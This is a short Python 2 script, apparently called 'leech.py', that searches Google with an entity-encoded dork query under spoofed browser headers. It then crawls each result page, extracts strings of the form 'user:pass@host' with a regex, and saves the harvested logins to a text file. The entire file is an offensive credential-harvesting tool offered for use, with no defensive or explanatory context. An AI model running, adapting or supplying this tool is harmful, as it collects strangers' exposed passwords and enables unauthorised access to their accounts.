import re,urllib2,binascii,sys
from urllib import quote

max_results = 20		# Maximum number of Google results
output_file = "out.txt"	# File for writing logins to

def encodeDork(s):
	tmp = ""
	for i in xrange(0,len(s)): tmp += "&#" + str(int(binascii.b2a_hex(s[i]), 16)) + ";"
	return quote(tmp)

def scan(url):
	u = urllib2.build_opener()
	u.addheaders = [('User-agent', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)'),
	('Host', 'www.google.com'), ('Keep-Alive', '300')]
	f = False
	try:
		dat = u.open(url).read().lower()
		reg = re.compile("(\w*?:\w*?)@[\w\.\/\-_]+", re.IGNORECASE)
		passes = re.findall(reg, dat)
		if passes:
			return passes
		else: 
			return False
	except:
		return False

	
def google(dork):
	global max_results,output_file
	u = urllib2.build_opener()
	u.addheaders = [('User-agent', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11'),
	('Host', 'www.google.com'), ('Accept', 'text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5'),
	('Keep-Alive', '300')]
	dat = u.open("http://www.google.com/search?q=" + encodeDork(dork) + "&start=0").read()
	max = int(re.findall("of about* <b>([\d,]+)<\/b>", dat)[0].replace(",", ""))
	max = max > max_results and max_results or max
	i = 0
	passes = []
	while i < max:
		dat = u.open("http://www.google.com/search?q=" + encodeDork(dork) + "&start=" + str(i)).read()
		links = re.findall("<h2 class=r><a href=\"(.*?)\" class=l onmousedown=\".*?\">.*?<\/a>", dat)
		if links:
			for l in links:
				res = scan(l)
				if res != False:
					for p in res:
						passes.append(p)
		else:
			sys.exit("No sites found")
		i = max>10 and (i+10) or (i+1)
	if passes:
		f = file(output_file, 'w')
		for p in list(set(passes)):
			f.write(p + "\n")
		f.close()
		
if len(sys.argv) > 0:
	google(sys.argv[1])
else:
	print "Usage: leech.py [search]"